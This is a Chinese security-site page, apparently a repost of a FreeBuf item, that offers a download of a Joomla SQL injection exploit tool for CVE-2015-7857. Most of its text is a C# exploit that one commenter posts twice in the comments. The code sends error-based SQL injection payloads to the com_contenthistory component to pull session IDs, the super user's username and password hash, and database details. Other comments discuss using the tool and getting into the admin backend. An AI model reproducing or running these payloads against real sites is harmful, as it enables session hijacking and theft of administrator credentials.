CVE漏洞中文网

0DayBank一个专门收集整理全球互联网漏洞的公开发布网站
  1. 首页
  2. 百科
  3. 正文

漏洞利用

2017年5月23日 729点热度 0人点赞 0条评论
  • 首页
  • 分类阅读
  • 文库
  • 专栏
  • 公开课
  • 商城
  • 漏洞盒子
注册 | 登录
投稿

CVE-2015-7857 Joomla注入漏洞利用工具

菊花2015-10-29+5共187257人围观 ,发现 11 个不明物体工具

文中提及的部分技术、工具可能带有一定攻击性,仅供安全学习和教学用途,禁止非法使用!

Joomla是一套获得过多个奖项的内容管理系统(Content Management System,CMS),它采用PHP+MySQL数据库开发,可以运行在Linux、Windows、MacOSX、Solaris等多种平台上。除了具有新闻/文章管理、文档/图片管理、网站布局设置、模板/主题管理等一些基本功能外,还可以通过其提供的上千个插件进行功能扩展。同时它还支持多种语言,由于它的功能非常强大,语言支持强,因此在全世界范围内都有很广泛的应用。

漏洞技术分析:http://www.freebuf.com/articles/82811.html

百度网盘 密码:htmo

*本文作者:菊花,来源:heresec,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

菊花2 篇文章等级: 2级
|
|
  • 上一篇:KVM基于内核的虚拟机概念理解与客户机浅析
  • 下一篇:LMD Tool:Linux 恶意软件检测工具

这些评论亮了

  • FreeBuf-is-s-b回复
    果然是这个样子。。
    稳定的exploit可不是这个样子写的哦 :mrgreen:
    public void run()
    {
    string text = "Duplicate entry '";
    string text2 = "' for key";
    string text3 = this.textBox1.Text;
    string data = text3 + "/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=75&type_id=1&list[select]=(select 1 from(select count(*),concat((select (select concat(session_id)) from jml_session limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)";
    string text4 = "FROM `";
    string text5 = "_ucm_history`";
    Regex regex = new Regex(string.Concat(new string[]
    {
    "(?<=(",
    text4,
    "))[.\\s\\S]*?(?=(",
    text5,
    "))"
    }), RegexOptions.Multiline | RegexOptions.Singleline);
    string value = regex.Match(this.sendPost(data)).Value;
    this.textBox3.Text = value;
    string data2 = text3 + "/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=75&type_id=1&list[select]=(select 1 from(select count(*),concat((select (select concat(session_id)) from " + value + "_session limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)";
    Regex regex2 = new Regex(string.Concat(new string[]
    {
    "(?<=(",
    text,
    "))[.\\s\\S]*?(?=(",
    text2,
    "))"
    }), RegexOptions.Multiline | RegexOptions.Singleline);
    string value2 = regex2.Match(this.sendPost(data2)).Value;
    this.textBox2.Text = value2;
    string data3 = text3 + "/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=75&type_id=1&list[select]=(select 1 from(select count(*),concat((select (select concat(username)) from " + value + "_users where name='super user' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)";
    Regex regex3 = new Regex(string.Concat(new string[]
    {
    "(?<=(",
    text,
    "))[.\\s\\S]*?(?=(",
    text2,
    "))"
    }), RegexOptions.Multiline | RegexOptions.Singleline);
    string value3 = regex3.Match(this.sendPost(data3)).Value;
    this.textBox4.Text = value3;
    string data4 = text3 + "/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=75&type_id=1&list[select]=(select 1 from(select count(*),concat((select (select concat(password)) from " + value + "_users where name='super user' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)";
    Regex regex4 = new Regex(string.Concat(new string[]
    {
    "(?<=(",
    text,
    "))[.\\s\\S]*?(?=(",
    text2,
    "))"
    }), RegexOptions.Multiline | RegexOptions.Singleline);
    string value4 = regex4.Match(this.sendPost(data4)).Value;
    this.textBox5.Text = value4;
    string data5 = text3 + "/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=75&type_id=1&list[select]=(select 1 from(select count(*),concat((select (select database())),floor(rand(0)*2))x from information_schema.tables group by x)a)";
    Regex regex5 = new Regex(string.Concat(new string[]
    {
    "(?<=(",
    text,
    "))[.\\s\\S]*?(?=(",
    text2,
    "))"
    }), RegexOptions.Multiline | RegexOptions.Singleline);
    string value5 = regex5.Match(this.sendPost(data5)).Value;
    this.textBox6.Text = value5;
    string data6 = text3 + "/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=75&type_id=1&list[select]=(select 1 from(select count(*),concat((select (select user())),floor(rand(0)*2))x from information_schema.tables group by x)a)";
    Regex regex6 = new Regex(string.Concat(new string[]
    {
    "(?<=(",
    text,
    "))[.\\s\\S]*?(?=(",
    text2,
    "))"
    }), RegexOptions.Multiline | RegexOptions.Singleline);
    string value6 = regex6.Match(this.sendPost(data6)).Value;
    this.textBox7.Text = value6;
    string data7 = text3 + "/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=75&type_id=1&list[select]=(select 1 from(select count(*),concat((select (select version())),floor(rand(0)*2))x from information_schema.tables group by x)a)";
    Regex regex7 = new Regex(string.Concat(new string[]
    {
    "(?<=(",
    text,
    "))[.\\s\\S]*?(?=(",
    text2,
    "))"
    }), RegexOptions.Multiline | RegexOptions.Singleline);
    string value7 = regex7.Match(this.sendPost(data7)).Value;
    this.textBox8.Text = value7;
    }
    )7(亮了
发表评论

已有 11 条评论

  • 大望路站到了 2015-10-29回复1楼

    感谢分享 晚上试试 :lol:

    亮了(2)
  • fuck 2015-10-29回复2楼

    搞笑。

    亮了(2)
  • fuck1 2015-10-29回复3楼

    这真的是fb?

    亮了(2)
  • aaaa 2015-10-29回复4楼

    运行了都是啥不是有效的win32程序

    亮了(4)
  • 0licej (1级)生活遇到问题,参考一下人生简单粗暴的四大法则就会好过一点:“... 2015-10-29回复5楼

    是解码,还是构造reset呢?

    亮了(3)
  • FreeBuf 2015-10-29回复6楼

    扑哧,我来试试,看截图,明显少了某重要的参数

    亮了(3)
  • FreeBuf-is-s-b 2015-10-29回复7楼

    果然是这个样子。。
    稳定的exploit可不是这个样子写的哦 :mrgreen:
    public void run()
    {
    string text = "Duplicate entry ‘";
    string text2 = "’ for key";
    string text3 = this.textBox1.Text;
    string data = text3 + "/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=75&type_id=1&list[select]=(select 1 from(select count(*),concat((select (select concat(session_id)) from jml_session limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)";
    string text4 = "FROM `";
    string text5 = "_ucm_history`";
    Regex regex = new Regex(string.Concat(new string[]
    {
    "(?<=(",
    text4,
    "))[.\\s\\S]*?(?=(",
    text5,
    "))"
    }), RegexOptions.Multiline | RegexOptions.Singleline);
    string value = regex.Match(this.sendPost(data)).Value;
    this.textBox3.Text = value;
    string data2 = text3 + "/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=75&type_id=1&list[select]=(select 1 from(select count(*),concat((select (select concat(session_id)) from " + value + "_session limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)";
    Regex regex2 = new Regex(string.Concat(new string[]
    {
    "(?<=(",
    text,
    "))[.\\s\\S]*?(?=(",
    text2,
    "))"
    }), RegexOptions.Multiline | RegexOptions.Singleline);
    string value2 = regex2.Match(this.sendPost(data2)).Value;
    this.textBox2.Text = value2;
    string data3 = text3 + "/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=75&type_id=1&list[select]=(select 1 from(select count(*),concat((select (select concat(username)) from " + value + "_users where name=’super user’ limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)";
    Regex regex3 = new Regex(string.Concat(new string[]
    {
    "(?<=(",
    text,
    "))[.\\s\\S]*?(?=(",
    text2,
    "))"
    }), RegexOptions.Multiline | RegexOptions.Singleline);
    string value3 = regex3.Match(this.sendPost(data3)).Value;
    this.textBox4.Text = value3;
    string data4 = text3 + "/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=75&type_id=1&list[select]=(select 1 from(select count(*),concat((select (select concat(password)) from " + value + "_users where name=’super user’ limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)";
    Regex regex4 = new Regex(string.Concat(new string[]
    {
    "(?<=(",
    text,
    "))[.\\s\\S]*?(?=(",
    text2,
    "))"
    }), RegexOptions.Multiline | RegexOptions.Singleline);
    string value4 = regex4.Match(this.sendPost(data4)).Value;
    this.textBox5.Text = value4;
    string data5 = text3 + "/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=75&type_id=1&list[select]=(select 1 from(select count(*),concat((select (select database())),floor(rand(0)*2))x from information_schema.tables group by x)a)";
    Regex regex5 = new Regex(string.Concat(new string[]
    {
    "(?<=(",
    text,
    "))[.\\s\\S]*?(?=(",
    text2,
    "))"
    }), RegexOptions.Multiline | RegexOptions.Singleline);
    string value5 = regex5.Match(this.sendPost(data5)).Value;
    this.textBox6.Text = value5;
    string data6 = text3 + "/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=75&type_id=1&list[select]=(select 1 from(select count(*),concat((select (select user())),floor(rand(0)*2))x from information_schema.tables group by x)a)";
    Regex regex6 = new Regex(string.Concat(new string[]
    {
    "(?<=(",
    text,
    "))[.\\s\\S]*?(?=(",
    text2,
    "))"
    }), RegexOptions.Multiline | RegexOptions.Singleline);
    string value6 = regex6.Match(this.sendPost(data6)).Value;
    this.textBox7.Text = value6;
    string data7 = text3 + "/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=75&type_id=1&list[select]=(select 1 from(select count(*),concat((select (select version())),floor(rand(0)*2))x from information_schema.tables group by x)a)";
    Regex regex7 = new Regex(string.Concat(new string[]
    {
    "(?<=(",
    text,
    "))[.\\s\\S]*?(?=(",
    text2,
    "))"
    }), RegexOptions.Multiline | RegexOptions.Singleline);
    string value7 = regex7.Match(this.sendPost(data7)).Value;
    this.textBox8.Text = value7;
    }

    亮了(7)
  • storm7kb 2015-10-29回复8楼

    sqlmap构造构造就行了

    亮了(3)
  • 此间少年 (1级) 2015-10-29回复9楼

    然而并不能解密hash,求大神教我如何登陆后台

    亮了(3)
  • Dreamdroid (4级)天道酬勤,不是我笨 2015-10-30回复10楼

    没有hash,有JB用

    亮了(2)
  • zoonctrl (5级)该怎么做好信息安全? 2015-12-23回复11楼

    下载下来试试看先

    亮了(1)

必须您当前尚未登录。登陆?注册

必须(保密)

表情插图

取消

菊花

这家伙太懒,还未填写个人描述!

2 篇文章5 条评论

相关阅读

  • 如何通过SQL注入获取服务器本地文件
  • 技术分享:如何Hacking MongoDB?
  • Joomla高危漏洞扫描事件分析
  • 盲注(Blind SQL Injection)工具—BBQSQL v1.0.0
  • Joomla!3.7.0 SQL注入攻击漏洞分析

特别推荐

关注我们 分享每日精选文章

不容错过

  • 如何在网络中追踪入侵者(二):高阶模式老王隔壁的白帽子2016-05-11
  • 关于专业黑客组织「隐秘山猫」的详细报告jobs2013-10-11
  • StringBleed:SNMP协议“上帝模式”漏洞影响多种网络设备clouds2017-05-01
  • 【已结束】SyScan360国际前瞻信息安全会议图文直播(Live)孙毛毛2016-11-25

FREEBUF

  • 免责声明
  • 关于我们
  • 加入我们

广告及服务

  • 寻求报道
  • 广告合作
  • 联系我们
  • 友情链接

关注我们

  • 官方微信
  • 新浪微博
  • 腾讯微博
  • Twitter

赞助商

Copyright © 2013 WWW.FREEBUF.COM All Rights Reserved 沪ICP备13033796号

css.php

正在加载中...

0daybank

标签: 暂无
最后更新:2017年5月23日

小助手

这个人很懒,什么都没留下

点赞
< 上一篇
下一篇 >

文章评论

您需要 登录 之后才可以评论

COPYRIGHT © 2024 www.pdr.cn CVE漏洞中文网. ALL RIGHTS RESERVED.

鲁ICP备2022031030号

联系邮箱:wpbgssyubnmsxxxkkk@proton.me